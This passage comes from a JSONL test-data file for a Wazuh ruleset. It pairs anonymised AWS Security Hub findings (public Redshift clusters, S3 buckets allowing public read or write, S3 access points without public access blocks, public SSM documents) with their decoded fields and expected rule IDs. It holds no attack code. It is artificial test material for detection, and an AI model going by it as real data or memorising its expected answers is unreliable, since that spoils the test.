"aws.finding.Remediation.Recommendation.Url": "https://docs.aws.amazon.com/console/securityhub/Redshift.1/remediation", "aws.finding.Resources": "[{'Partition': 'aws', 'Type': 'AwsIamRole', 'Details': {'AwsIamRole': {'Path': '/service-role/', 'AttachedManagedPolicies': [{'PolicyArn': 'arn:aws:iam::123456789000:policy/service-role/Amazon_EventBridge_Invoke_Firehose_12345678', 'PolicyName': 'Amazon_EventBridge_Invoke_Firehose_12345678'}], 'RoleName': 'Amazon_EventBridge_Invoke_Firehose_12345678', 'AssumeRolePolicyDocument': '%7B%22Versio', 'CreateDate': '2021-12-02T17:41:55.000Z', 'RoleId': 'ABCEDFHIJKLMONPQ'}}, 'Region': 'abcde', 'Id': 'arn:aws:iam::123456789000:role/service-role/Amazon_EventBridge_Invoke_Firehose_12345678'}]", "aws.finding.SchemaVersion": "2018-10-08", "aws.finding.Severity.Label": "CRITICAL", "aws.finding.Severity.Normalized": "90", "aws.finding.Severity.Original": "CRITICAL", "aws.finding.Title": "Amazon Redshift clusters should prohibit public access", "aws.finding.Types": "['Software and Configuration Checks/Industry and Regulatory Standards']", "aws.finding.UpdatedAt": "2024-05-05T06:58:16.818Z", "aws.finding.Workflow.Status": "NEW", "aws.finding.WorkflowState": "NEW", "aws.log_info.log_file": "2024/05/05/06/wazuh-security-hub-findings-1-2024-05-05-06-58-00-12345678-ABCDEFGH-IJKLMN", "aws.log_info.s3bucket": "abcd-aws-efgh", "aws.source": "securityhub", "integration": "aws"}, "field_names": ["aws.detail_type", "aws.finding.AwsAccountId", "aws.finding.CompanyName", "aws.finding.Compliance.AssociatedStandards", "aws.finding.Compliance.SecurityControlId", "aws.finding.Compliance.Status", "aws.finding.CreatedAt", "aws.finding.Description", "aws.finding.FindingProviderFields.Severity.Label", "aws.finding.FindingProviderFields.Severity.Normalized", "aws.finding.FindingProviderFields.Severity.Original", "aws.finding.FindingProviderFields.Types", "aws.finding.FirstObservedAt", "aws.finding.GeneratorId", "aws.finding.Id", "aws.finding.LastObservedAt", "aws.finding.ProcessedAt", "aws.finding.ProductArn", "aws.finding.ProductName", "aws.finding.RecordState", "aws.finding.Region", "aws.finding.Remediation.Recommendation.Text", "aws.finding.Remediation.Recommendation.Url", "aws.finding.Resources", "aws.finding.SchemaVersion", "aws.finding.Severity.Label", "aws.finding.Severity.Normalized", "aws.finding.Severity.Original", "aws.finding.Title", "aws.finding.Types", "aws.finding.UpdatedAt", "aws.finding.Workflow.Status", "aws.finding.WorkflowState", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.source", "integration"], "rule": "99854", "level": "12", "expected_decoder": "json", "expected_rule": "99854", "rule_matches_expected": true, "ini_file": "aws_security_hub.ini", "section": "AWS Security Hub - Amazon Redshift cluster is publicly accessible."} +{"log": "{\"integration\":\"aws\",\"aws\":{\"log_info\":{\"log_file\":\"2024/05/02/22/wazuh-security-hub-findings-1-2024-05-02-22-12-04-abcde-fgh-ijkl\",\"s3bucket\":\"abcd-aws-efgh\"},\"source\":\"securityhub\",\"detail_type\":\"Security Hub Findings - Imported\",\"finding\":{\"ProductArn\":\"arn:aws:securityhub:abcde::product/aws/securityhub\",\"Types\":[\"Effects/Data Exposure\"],\"Description\":\"This control checks whether an Amazon S3 general purpose bucket permits public read access. It evaluates the block public access settings, the bucket policy, and the bucket access control list (ACL). The control fails if the bucket permits public read access.\",\"Compliance\":{\"Status\":\"FAILED\",\"SecurityControlId\":\"S3.2\",\"AssociatedStandards\":[{\"StandardsId\":\"standards/aws-foundational-security-best-practices/v/1.0.0\"}]},\"ProductName\":\"Security Hub\",\"FirstObservedAt\":\"2024-01-05T09:25:52.679Z\",\"CreatedAt\":\"2024-01-05T09:25:52.679Z\",\"LastObservedAt\":\"2024-05-02T22:12:31.252Z\",\"CompanyName\":\"AWS\",\"FindingProviderFields\":{\"Types\":[\"Effects/Data Exposure\"],\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"}},\"ProductFields\":{\"RelatedAWSResources:0/name\":\"securityhub-s3-bucket-public-read-prohibited-6ece4b8d\",\"RelatedAWSResources:0/type\":\"AWS::Config::ConfigRule\",\"aws/securityhub/ProductName\":\"Security Hub\",\"aws/securityhub/CompanyName\":\"AWS\",\"Resources:0/Id\":\"arn:aws:s3:::abcd-efghij\",\"aws/securityhub/FindingId\":\"arn:aws:securityhub:abcde::product/aws/securityhub/arn:aws:securityhub:abcde:123456789000:security-controlS3.2/finding/cabcd-efghij-1234-567890\"},\"Remediation\":{\"Recommendation\":{\"Text\":\"For information on how to correct this issue, consult the AWS Security Hub controls documentation.\",\"Url\":\"https://docs.aws.amazon.com/console/securityhub/S3.2/remediation\"}},\"SchemaVersion\":\"2018-10-08\",\"GeneratorId\":\"security-control/S3.2\",\"RecordState\":\"ACTIVE\",\"Title\":\"S3 general purpose buckets should block public read access\",\"Workflow\":{\"Status\":\"NEW\"},\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"},\"UpdatedAt\":\"2024-05-02T22:12:16.185Z\",\"WorkflowState\":\"NEW\",\"AwsAccountId\":\"123456789000\",\"Region\":\"abcde\",\"Id\":\"arn:aws:securityhub:abcde:123456789000:security-control/S3.2/finding/cabcd-efghij-1234-567890\",\"Resources\":[{\"Partition\":\"aws\",\"Type\":\"AwsS3Bucket\",\"Details\":{\"AwsS3Bucket\":{\"OwnerId\":\"abcdefghijklmnop123456789\",\"CreatedAt\":\"2023-09-22T15:04:52.000Z\",\"Name\":\"abcedf\"}},\"Region\":\"abcde\",\"Id\":\"arn:aws:s3:::abcd-efghij\",\"Tags\":{\"team\":\"global\"}}],\"ProcessedAt\":\"2024-05-02T22:12:36.776Z\"}}}", "decoder": "json", "parent": "", "fields": {"aws.detail_type": "Security Hub Findings - Imported", "aws.finding.AwsAccountId": "123456789000", "aws.finding.CompanyName": "AWS", "aws.finding.Compliance.AssociatedStandards": "[{'StandardsId': 'standards/aws-foundational-security-best-practices/v/1.0.0'}]", "aws.finding.Compliance.SecurityControlId": "S3.2", "aws.finding.Compliance.Status": "FAILED", "aws.finding.CreatedAt": "2024-01-05T09:25:52.679Z", "aws.finding.Description": "This control checks whether an Amazon S3 general purpose bucket permits public read access. It evaluates the block public access settings, the bucket policy, and the bucket access control list (ACL). The control fails if the bucket permits public read access.", "aws.finding.FindingProviderFields.Severity.Label": "CRITICAL", "aws.finding.FindingProviderFields.Severity.Normalized": "90", "aws.finding.FindingProviderFields.Severity.Original": "CRITICAL", "aws.finding.FindingProviderFields.Types": "['Effects/Data Exposure']", "aws.finding.FirstObservedAt": "2024-01-05T09:25:52.679Z", "aws.finding.GeneratorId": "security-control/S3.2", "aws.finding.Id": "arn:aws:securityhub:abcde:123456789000:security-control/S3.2/finding/cabcd-efghij-1234-567890", "aws.finding.LastObservedAt": "2024-05-02T22:12:31.252Z", "aws.finding.ProcessedAt": "2024-05-02T22:12:36.776Z", "aws.finding.ProductArn": "arn:aws:securityhub:abcde::product/aws/securityhub", "aws.finding.ProductName": "Security Hub", "aws.finding.RecordState": "ACTIVE", "aws.finding.Region": "abcde", "aws.finding.Remediation.Recommendation.Text": "For information on how to correct this issue, consult the AWS Security Hub controls documentation.", "aws.finding.Remediation.Recommendation.Url": "https://docs.aws.amazon.com/console/securityhub/S3.2/remediation", "aws.finding.Resources": "[{'Partition': 'aws', 'Type': 'AwsS3Bucket', 'Details': {'AwsS3Bucket': {'OwnerId': 'abcdefghijklmnop123456789', 'CreatedAt': '2023-09-22T15:04:52.000Z', 'Name': 'abcedf'}}, 'Region': 'abcde', 'Id': 'arn:aws:s3:::abcd-efghij', 'Tags': {'team': 'global'}}]", "aws.finding.SchemaVersion": "2018-10-08", "aws.finding.Severity.Label": "CRITICAL", "aws.finding.Severity.Normalized": "90", "aws.finding.Severity.Original": "CRITICAL", "aws.finding.Title": "S3 general purpose buckets should block public read access", "aws.finding.Types": "['Effects/Data Exposure']", "aws.finding.UpdatedAt": "2024-05-02T22:12:16.185Z", "aws.finding.Workflow.Status": "NEW", "aws.finding.WorkflowState": "NEW", "aws.log_info.log_file": "2024/05/02/22/wazuh-security-hub-findings-1-2024-05-02-22-12-04-abcde-fgh-ijkl", "aws.log_info.s3bucket": "abcd-aws-efgh", "aws.source": "securityhub", "integration": "aws"}, "field_names": ["aws.detail_type", "aws.finding.AwsAccountId", "aws.finding.CompanyName", "aws.finding.Compliance.AssociatedStandards", "aws.finding.Compliance.SecurityControlId", "aws.finding.Compliance.Status", "aws.finding.CreatedAt", "aws.finding.Description", "aws.finding.FindingProviderFields.Severity.Label", "aws.finding.FindingProviderFields.Severity.Normalized", "aws.finding.FindingProviderFields.Severity.Original", "aws.finding.FindingProviderFields.Types", "aws.finding.FirstObservedAt", "aws.finding.GeneratorId", "aws.finding.Id", "aws.finding.LastObservedAt", "aws.finding.ProcessedAt", "aws.finding.ProductArn", "aws.finding.ProductName", "aws.finding.RecordState", "aws.finding.Region", "aws.finding.Remediation.Recommendation.Text", "aws.finding.Remediation.Recommendation.Url", "aws.finding.Resources", "aws.finding.SchemaVersion", "aws.finding.Severity.Label", "aws.finding.Severity.Normalized", "aws.finding.Severity.Original", "aws.finding.Title", "aws.finding.Types", "aws.finding.UpdatedAt", "aws.finding.Workflow.Status", "aws.finding.WorkflowState", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.source", "integration"], "rule": "99855", "level": "12", "expected_decoder": "json", "expected_rule": "99855", "rule_matches_expected": true, "ini_file": "aws_security_hub.ini", "section": "AWS Security Hub - Amazon S3 general purpose bucket permits public read access."} +{"log": "{\"integration\":\"aws\",\"aws\":{\"log_info\":{\"log_file\":\"2024/05/03/22/wazuh-security-hub-findings-1-2024-05-03-22-06-27-7beeb5a6-5034-4578-879f-edaae26bd428\",\"s3bucket\":\"abcd-aws-efgh\"},\"source\":\"securityhub\",\"detail_type\":\"Security Hub Findings - Imported\",\"finding\":{\"ProductArn\":\"arn:aws:securityhub:abcde::product/aws/securityhub\",\"Types\":[\"Effects/Data Exposure\"],\"Description\":\"This control checks whether an Amazon S3 general purpose bucket permits public write access. It evaluates the block public access settings, the bucket policy, and the bucket access control list (ACL). The control fails if the bucket permits public write access.\",\"Compliance\":{\"Status\":\"FAILED\",\"SecurityControlId\":\"S3.3\",\"AssociatedStandards\":[{\"StandardsId\":\"standards/aws-foundational-security-best-practices/v/1.0.0\"}]},\"ProductName\":\"Security Hub\",\"FirstObservedAt\":\"2024-01-05T09:25:39.455Z\",\"CreatedAt\":\"2024-01-05T09:25:39.455Z\",\"LastObservedAt\":\"2024-05-03T22:07:02.633Z\",\"CompanyName\":\"AWS\",\"FindingProviderFields\":{\"Types\":[\"Effects/Data Exposure\"],\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"}},\"ProductFields\":{\"RelatedAWSResources:0/name\":\"securityhub-s3-bucket-public-write-prohibited-bf62cdc0\",\"RelatedAWSResources:0/type\":\"AWS::Config::ConfigRule\",\"aws/securityhub/ProductName\":\"Security Hub\",\"aws/securityhub/CompanyName\":\"AWS\",\"Resources:0/Id\":\"arn:aws:s3:::abcd-efghijk-23467890\",\"aws/securityhub/FindingId\":\"arn:aws:securityhub:abcde::product/aws/securityhub/arn:aws:securityhub:abcde:123456789000:security-control/S3.3/finding/abcd-efghijk-23467890\"},\"Remediation\":{\"Recommendation\":{\"Text\":\"For information on how to correct this issue, consult the AWS Security Hub controls documentation.\",\"Url\":\"https://docs.aws.amazon.com/console/securityhub/S3.3/remediation\"}},\"SchemaVersion\":\"2018-10-08\",\"GeneratorId\":\"security-control/S3.3\",\"RecordState\":\"ACTIVE\",\"Title\":\"S3 general purpose buckets should block public write access\",\"Workflow\":{\"Status\":\"NEW\"},\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"},\"UpdatedAt\":\"2024-05-03T22:06:51.023Z\",\"WorkflowState\":\"NEW\",\"AwsAccountId\":\"123456789000\",\"Region\":\"abcde\",\"Id\":\"arn:aws:securityhub:abcde:123456789000:security-control/S3.3/finding/abcd-efghijk-23467890\",\"Resources\":[{\"Partition\":\"aws\",\"Type\":\"AwsS3Bucket\",\"Details\":{\"AwsS3Bucket\":{\"OwnerId\":\"abcdefghijklmnop123456789\",\"CreatedAt\":\"2023-10-25T15:16:14.000Z\",\"Name\":\"abcd-efghijk-23467890\"}},\"Region\":\"abcde\",\"Id\":\"arn:aws:s3:::abcd-efghijk-23467890\"}],\"ProcessedAt\":\"2024-05-03T22:07:06.226Z\"}}}", "decoder": "json", "parent": "", "fields": {"aws.detail_type": "Security Hub Findings - Imported", "aws.finding.AwsAccountId": "123456789000", "aws.finding.CompanyName": "AWS", "aws.finding.Compliance.AssociatedStandards": "[{'StandardsId': 'standards/aws-foundational-security-best-practices/v/1.0.0'}]", "aws.finding.Compliance.SecurityControlId": "S3.3", "aws.finding.Compliance.Status": "FAILED", "aws.finding.CreatedAt": "2024-01-05T09:25:39.455Z", "aws.finding.Description": "This control checks whether an Amazon S3 general purpose bucket permits public write access. It evaluates the block public access settings, the bucket policy, and the bucket access control list (ACL). The control fails if the bucket permits public write access.", "aws.finding.FindingProviderFields.Severity.Label": "CRITICAL", "aws.finding.FindingProviderFields.Severity.Normalized": "90", "aws.finding.FindingProviderFields.Severity.Original": "CRITICAL", "aws.finding.FindingProviderFields.Types": "['Effects/Data Exposure']", "aws.finding.FirstObservedAt": "2024-01-05T09:25:39.455Z", "aws.finding.GeneratorId": "security-control/S3.3", "aws.finding.Id": "arn:aws:securityhub:abcde:123456789000:security-control/S3.3/finding/abcd-efghijk-23467890", "aws.finding.LastObservedAt": "2024-05-03T22:07:02.633Z", "aws.finding.ProcessedAt": "2024-05-03T22:07:06.226Z", "aws.finding.ProductArn": "arn:aws:securityhub:abcde::product/aws/securityhub", "aws.finding.ProductName": "Security Hub", "aws.finding.RecordState": "ACTIVE", "aws.finding.Region": "abcde", "aws.finding.Remediation.Recommendation.Text": "For information on how to correct this issue, consult the AWS Security Hub controls documentation.", "aws.finding.Remediation.Recommendation.Url": "https://docs.aws.amazon.com/console/securityhub/S3.3/remediation", "aws.finding.Resources": "[{'Partition': 'aws', 'Type': 'AwsS3Bucket', 'Details': {'AwsS3Bucket': {'OwnerId': 'abcdefghijklmnop123456789', 'CreatedAt': '2023-10-25T15:16:14.000Z', 'Name': 'abcd-efghijk-23467890'}}, 'Region': 'abcde', 'Id': 'arn:aws:s3:::abcd-efghijk-23467890'}]", "aws.finding.SchemaVersion": "2018-10-08", "aws.finding.Severity.Label": "CRITICAL", "aws.finding.Severity.Normalized": "90", "aws.finding.Severity.Original": "CRITICAL", "aws.finding.Title": "S3 general purpose buckets should block public write access", "aws.finding.Types": "['Effects/Data Exposure']", "aws.finding.UpdatedAt": "2024-05-03T22:06:51.023Z", "aws.finding.Workflow.Status": "NEW", "aws.finding.WorkflowState": "NEW", "aws.log_info.log_file": "2024/05/03/22/wazuh-security-hub-findings-1-2024-05-03-22-06-27-7beeb5a6-5034-4578-879f-edaae26bd428", "aws.log_info.s3bucket": "abcd-aws-efgh", "aws.source": "securityhub", "integration": "aws"}, "field_names": ["aws.detail_type", "aws.finding.AwsAccountId", "aws.finding.CompanyName", "aws.finding.Compliance.AssociatedStandards", "aws.finding.Compliance.SecurityControlId", "aws.finding.Compliance.Status", "aws.finding.CreatedAt", "aws.finding.Description", "aws.finding.FindingProviderFields.Severity.Label", "aws.finding.FindingProviderFields.Severity.Normalized", "aws.finding.FindingProviderFields.Severity.Original", "aws.finding.FindingProviderFields.Types", "aws.finding.FirstObservedAt", "aws.finding.GeneratorId", "aws.finding.Id", "aws.finding.LastObservedAt", "aws.finding.ProcessedAt", "aws.finding.ProductArn", "aws.finding.ProductName", "aws.finding.RecordState", "aws.finding.Region", "aws.finding.Remediation.Recommendation.Text", "aws.finding.Remediation.Recommendation.Url", "aws.finding.Resources", "aws.finding.SchemaVersion", "aws.finding.Severity.Label", "aws.finding.Severity.Normalized", "aws.finding.Severity.Original", "aws.finding.Title", "aws.finding.Types", "aws.finding.UpdatedAt", "aws.finding.Workflow.Status", "aws.finding.WorkflowState", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.source", "integration"], "rule": "99856", "level": "12", "expected_decoder": "json", "expected_rule": "99856", "rule_matches_expected": true, "ini_file": "aws_security_hub.ini", "section": "AWS Security Hub - Amazon S3 general purpose bucket permits public write access."} +{"log": "{\"integration\":\"aws\",\"aws\":{\"log_info\":{\"log_file\":\"2024/05/03/22/wazuh-security-hub-findings-1-2024-05-03-22-06-27-7beeb5a6-5034-4578-879f-edaae26bd428\",\"s3bucket\":\"abcd-aws-efgh\"},\"source\":\"securityhub\",\"detail_type\":\"Security Hub Findings - Imported\",\"finding\":{\"ProductArn\":\"arn:aws:securityhub:abcde::product/aws/securityhub\",\"Types\":[\"Effects/Data Exposure\"],\"Description\":\"This control checks whether an Amazon S3 access point has block public access settings enabled. The control fails if block public access settings are not enabled for the access point.\",\"Compliance\":{\"Status\":\"FAILED\",\"SecurityControlId\":\"S3.19\",\"AssociatedStandards\":[{\"StandardsId\":\"standards/aws-foundational-security-best-practices/v/1.0.0\"}]},\"ProductName\":\"Security Hub\",\"FirstObservedAt\":\"2024-01-05T09:25:39.455Z\",\"CreatedAt\":\"2024-01-05T09:25:39.455Z\",\"LastObservedAt\":\"2024-05-03T22:07:02.633Z\",\"CompanyName\":\"AWS\",\"FindingProviderFields\":{\"Types\":[\"Effects/Data Exposure\"],\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"}},\"ProductFields\":{\"RelatedAWSResources:0/name\":\"s3-access-point-public-access-blocks-bf62cdc0\",\"RelatedAWSResources:0/type\":\"AWS::Config::ConfigRule\",\"aws/securityhub/ProductName\":\"Security Hub\",\"aws/securityhub/CompanyName\":\"AWS\",\"Resources:0/Id\":\"arn:aws:s3:::abcd-efghijk-23467890\",\"aws/securityhub/FindingId\":\"arn:aws:securityhub:abcde::product/aws/securityhub/arn:aws:securityhub:abcde:123456789000:security-control/S3.19/finding/abcd-efghijk-23467890\"},\"Remediation\":{\"Recommendation\":{\"Text\":\"For information on how to correct this issue, consult the AWS Security Hub controls documentation.\",\"Url\":\"https://docs.aws.amazon.com/console/securityhub/S3.19/remediation\"}},\"SchemaVersion\":\"2018-10-08\",\"GeneratorId\":\"security-control/S3.19\",\"RecordState\":\"ACTIVE\",\"Title\":\"S3 access points should have block public access settings enabled\",\"Workflow\":{\"Status\":\"NEW\"},\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"},\"UpdatedAt\":\"2024-05-03T22:06:51.023Z\",\"WorkflowState\":\"NEW\",\"AwsAccountId\":\"123456789000\",\"Region\":\"abcde\",\"Id\":\"arn:aws:securityhub:abcde:123456789000:security-control/S3.19/finding/abcd-efghijk-23467890\",\"Resources\":[{\"Partition\":\"aws\",\"Type\":\"AwsS3Bucket\",\"Details\":{\"AwsS3Bucket\":{\"OwnerId\":\"abcdefghijklmnop123456789\",\"CreatedAt\":\"2023-10-25T15:16:14.000Z\",\"Name\":\"abcd-efghijk-23467890\"}},\"Region\":\"abcde\",\"Id\":\"arn:aws:s3:::abcd-efghijk-23467890\"}],\"ProcessedAt\":\"2024-05-03T22:07:06.226Z\"}}}", "decoder": "json", "parent": "", "fields": {"aws.detail_type": "Security Hub Findings - Imported", "aws.finding.AwsAccountId": "123456789000", "aws.finding.CompanyName": "AWS", "aws.finding.Compliance.AssociatedStandards": "[{'StandardsId': 'standards/aws-foundational-security-best-practices/v/1.0.0'}]", "aws.finding.Compliance.SecurityControlId": "S3.19", "aws.finding.Compliance.Status": "FAILED", "aws.finding.CreatedAt": "2024-01-05T09:25:39.455Z", "aws.finding.Description": "This control checks whether an Amazon S3 access point has block public access settings enabled. The control fails if block public access settings are not enabled for the access point.", "aws.finding.FindingProviderFields.Severity.Label": "CRITICAL", "aws.finding.FindingProviderFields.Severity.Normalized": "90", "aws.finding.FindingProviderFields.Severity.Original": "CRITICAL", "aws.finding.FindingProviderFields.Types": "['Effects/Data Exposure']", "aws.finding.FirstObservedAt": "2024-01-05T09:25:39.455Z", "aws.finding.GeneratorId": "security-control/S3.19", "aws.finding.Id": "arn:aws:securityhub:abcde:123456789000:security-control/S3.19/finding/abcd-efghijk-23467890", "aws.finding.LastObservedAt": "2024-05-03T22:07:02.633Z", "aws.finding.ProcessedAt": "2024-05-03T22:07:06.226Z", "aws.finding.ProductArn": "arn:aws:securityhub:abcde::product/aws/securityhub", "aws.finding.ProductName": "Security Hub", "aws.finding.RecordState": "ACTIVE", "aws.finding.Region": "abcde", "aws.finding.Remediation.Recommendation.Text": "For information on how to correct this issue, consult the AWS Security Hub controls documentation.", "aws.finding.Remediation.Recommendation.Url": "https://docs.aws.amazon.com/console/securityhub/S3.19/remediation", "aws.finding.Resources": "[{'Partition': 'aws', 'Type': 'AwsS3Bucket', 'Details': {'AwsS3Bucket': {'OwnerId': 'abcdefghijklmnop123456789', 'CreatedAt': '2023-10-25T15:16:14.000Z', 'Name': 'abcd-efghijk-23467890'}}, 'Region': 'abcde', 'Id': 'arn:aws:s3:::abcd-efghijk-23467890'}]", "aws.finding.SchemaVersion": "2018-10-08", "aws.finding.Severity.Label": "CRITICAL", "aws.finding.Severity.Normalized": "90", "aws.finding.Severity.Original": "CRITICAL", "aws.finding.Title": "S3 access points should have block public access settings enabled", "aws.finding.Types": "['Effects/Data Exposure']", "aws.finding.UpdatedAt": "2024-05-03T22:06:51.023Z", "aws.finding.Workflow.Status": "NEW", "aws.finding.WorkflowState": "NEW", "aws.log_info.log_file": "2024/05/03/22/wazuh-security-hub-findings-1-2024-05-03-22-06-27-7beeb5a6-5034-4578-879f-edaae26bd428", "aws.log_info.s3bucket": "abcd-aws-efgh", "aws.source": "securityhub", "integration": "aws"}, "field_names": ["aws.detail_type", "aws.finding.AwsAccountId", "aws.finding.CompanyName", "aws.finding.Compliance.AssociatedStandards", "aws.finding.Compliance.SecurityControlId", "aws.finding.Compliance.Status", "aws.finding.CreatedAt", "aws.finding.Description", "aws.finding.FindingProviderFields.Severity.Label", "aws.finding.FindingProviderFields.Severity.Normalized", "aws.finding.FindingProviderFields.Severity.Original", "aws.finding.FindingProviderFields.Types", "aws.finding.FirstObservedAt", "aws.finding.GeneratorId", "aws.finding.Id", "aws.finding.LastObservedAt", "aws.finding.ProcessedAt", "aws.finding.ProductArn", "aws.finding.ProductName", "aws.finding.RecordState", "aws.finding.Region", "aws.finding.Remediation.Recommendation.Text", "aws.finding.Remediation.Recommendation.Url", "aws.finding.Resources", "aws.finding.SchemaVersion", "aws.finding.Severity.Label", "aws.finding.Severity.Normalized", "aws.finding.Severity.Original", "aws.finding.Title", "aws.finding.Types", "aws.finding.UpdatedAt", "aws.finding.Workflow.Status", "aws.finding.WorkflowState", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.source", "integration"], "rule": "99857", "level": "12", "expected_decoder": "json", "expected_rule": "99857", "rule_matches_expected": true, "ini_file": "aws_security_hub.ini", "section": "AWS Security Hub - Amazon S3 access point block public access settings are not enabled."} +{"log": "{\"integration\":\"aws\",\"aws\":{\"log_info\":{\"log_file\":\"2024/05/03/04/wazuh-security-hub-findings-1-2024-05-03-04-55-22-5c63be12-ad8e-41d5-b95b-a82f749cb709\",\"s3bucket\":\"abcd-aws-efgh\"},\"source\":\"securityhub\",\"detail_type\":\"Security Hub Findings - Imported\",\"finding\":{\"ProductArn\":\"arn:aws:securityhub:abcde::product/aws/securityhub\",\"Types\":[\"Software and Configuration Checks/Industry and Regulatory Standards\"],\"Description\":\"This control checks whether AWS Systems Manager documents that the account owns are public. This control fails if SSM documents that have \\\"Self\\\" as the owner are public.\",\"Compliance\":{\"Status\":\"FAILED\",\"SecurityControlId\":\"SSM.4\",\"AssociatedStandards\":[{\"StandardsId\":\"standards/aws-foundational-security-best-practices/v/1.0.0\"}]},\"ProductName\":\"Security Hub\",\"FirstObservedAt\":\"2024-01-05T09:26:17.215Z\",\"CreatedAt\":\"2024-01-05T09:26:17.215Z\",\"LastObservedAt\":\"2024-05-03T04:55:41.619Z\",\"CompanyName\":\"AWS\",\"FindingProviderFields\":{\"Types\":[\"Software and Configuration Checks/Industry and Regulatory Standards\"],\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"}},\"ProductFields\":{\"RelatedAWSResources:0/name\":\"securityhub-ssm-document-not-public-e00d8334\",\"RelatedAWSResources:0/type\":\"AWS::Config::ConfigRule\",\"aws/securityhub/ProductName\":\"Security Hub\",\"aws/securityhub/CompanyName\":\"AWS\",\"Resources:0/Id\":\"arn:aws:ssm:abcde:123456789000:document/AWSQuickSetup-CreateAndAttachIAMToInstance-issh5\",\"aws/securityhub/FindingId\":\"arn:aws:securityhub:abcde::product/aws/securityhub/arn:aws:securityhub:abcde:123456789000:security-control/SSM.4/finding/abcd-efghijk-23467890\"},\"Remediation\":{\"Recommendation\":{\"Text\":\"For information on how to correct this issue, consult the AWS Security Hub controls documentation.\",\"Url\":\"https://docs.aws.amazon.com/console/securityhub/SSM.4/remediation\"}},\"SchemaVersion\":\"2018-10-08\",\"GeneratorId\":\"security-control/SSM.4\",\"RecordState\":\"ACTIVE\",\"Title\":\"SSM documents should not be public\",\"Workflow\":{\"Status\":\"NEW\"},\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"},\"UpdatedAt\":\"2024-05-03T04:55:29.739Z\",\"WorkflowState\":\"NEW\",\"AwsAccountId\":\"123456789000\",\"Region\":\"abcde\",\"Id\":\"arn:aws:securityhub:abcde:123456789000:security-control/SSM.4/finding/abcd-efghijk-23467890\",\"Resources\":[{\"Partition\":\"aws\",\"Type\":\"AwsSsmDocument\",\"Region\":\"abcde\",\"Id\":\"arn:aws:ssm:abcde:123456789000:document/AWSQuickSetup-CreateAndAttachIAMToInstance-issh5\",\"Tags\":{\"QuickSetupType\":\"Host Management\",\"QuickSetupVersion\":\"3.1\",\"QuickSetupID\":\"issh5\"}}],\"ProcessedAt\":\"2024-05-03T04:55:45.778Z\"}}}", "decoder": "json", "parent": "", "fields": {"aws.detail_type": "Security Hub Findings - Imported", "aws.finding.AwsAccountId": "123456789000", "aws.finding.CompanyName": "AWS", "aws.finding.Compliance.AssociatedStandards": "[{'StandardsId': 'standards/aws-foundational-security-best-practices/v/1.0.0'}]", "aws.finding.Compliance.SecurityControlId": "SSM.4", "aws.finding.Compliance.Status": "FAILED", "aws.finding.CreatedAt": "2024-01-05T09:26:17.215Z", "aws.finding.Description": "This control checks whether AWS Systems Manager documents that the account owns are public. This control fails if SSM documents that have \"Self\" as the owner are public.", "aws.finding.FindingProviderFields.Severity.Label": "CRITICAL", "aws.finding.FindingProviderFields.Severity.Normalized": "90", "aws.finding.FindingProviderFields.Severity.Original": "CRITICAL", "aws.finding.FindingProviderFields.Types": "['Software and Configuration Checks/Industry and Regulatory Standards']", "aws.finding.FirstObservedAt": "2024-01-05T09:26:17.215Z", "aws.finding.GeneratorId": "security-control/SSM.4", "aws.finding.Id": "arn:aws:securityhub:abcde:123456789000:security-control/SSM.4/finding/abcd-efghijk-23467890", "aws.finding.LastObservedAt": "2024-05-03T04:55:41.619Z", "aws.finding.ProcessedAt": "2024-05-03T04:55:45.778Z", "aws.finding.ProductArn": "arn:aws:securityhub:abcde::product/aws/securityhub", "aws.finding.ProductName": "Security Hub", "aws.finding.RecordState": "ACTIVE", "aws.finding.Region": "abcde", "aws.finding.Remediation.Recommendation.Text": "For information on how to correct this issue, consult the AWS Security Hub controls documentation.", "aws.finding.Remediation.Recommendation.Url": "https://docs.aws.amazon.com/console/securityhub/SSM.4/remediation", "aws.finding.Resources": "[{'Partition': 'aws', 'Type': 'AwsSsmDocument', 'Region': 'abcde', 'Id': 'arn:aws:ssm:abcde:123456789000:document/AWSQuickSetup-CreateAndAttachIAMToInstance-issh5', 'Tags': {'QuickSetupType': 'Host Management', 'QuickSetupVersion': '3.1', 'QuickSetupID': 'issh5'}}]", "aws.finding.SchemaVersion": "2018-10-08", "aws.finding.Severity.Label": "CRITICAL", "aws.finding.Severity.Normalized": "90", "aws.finding.Severity.Original": "CRITICAL", "aws.finding.Title": "SSM documents should not be public", "aws.finding.Types": "['Software and Configuration Checks/Industry and Regulatory Standards']", "aws.finding.UpdatedAt": "2024-05-03T04:55:29.739Z", "aws.finding.Workflow.Status": "NEW", "aws.finding.WorkflowState": "NEW", "aws.log_info.log_file": "2024/05/03/04/wazuh-security-hub-findings-1-2024-05-03-04-55-22-5c63be12-ad8e-41d5-b95b-a82f749cb709", "aws.log_info.s3bucket": "abcd-aws-efgh", "aws.source": "securityhub", "integration": "aws"}, "field_names": ["aws.detail_type", "aws.finding.AwsAccountId", "aws.finding.CompanyName", "aws.finding.Compliance.AssociatedStandards", "aws.finding.Compliance.SecurityControlId", "aws.finding.Compliance.Status", "aws.finding.CreatedAt", "aws.finding.Description", "aws.finding.FindingProviderFields.Severity.Label", "aws.finding.FindingProviderFields.Severity.Normalized", "aws.finding.FindingProviderFields.Severity.Original", "aws.finding.FindingProviderFields.Types", "aws.finding.FirstObservedAt", "aws.finding.GeneratorId", "aws.finding.Id", "aws.finding.LastObservedAt", "aws.finding.ProcessedAt", "aws.finding.ProductArn", "aws.finding.ProductName", "aws.finding.RecordState", "aws.finding.Region", "aws.finding.Remediation.Recommendation.Text", "aws.finding.Remediation.Recommendation.Url", "aws.finding.Resources", "aws.finding.SchemaVersion", "aws.finding.Severity.Label", "aws.finding.Severity.Normalized", 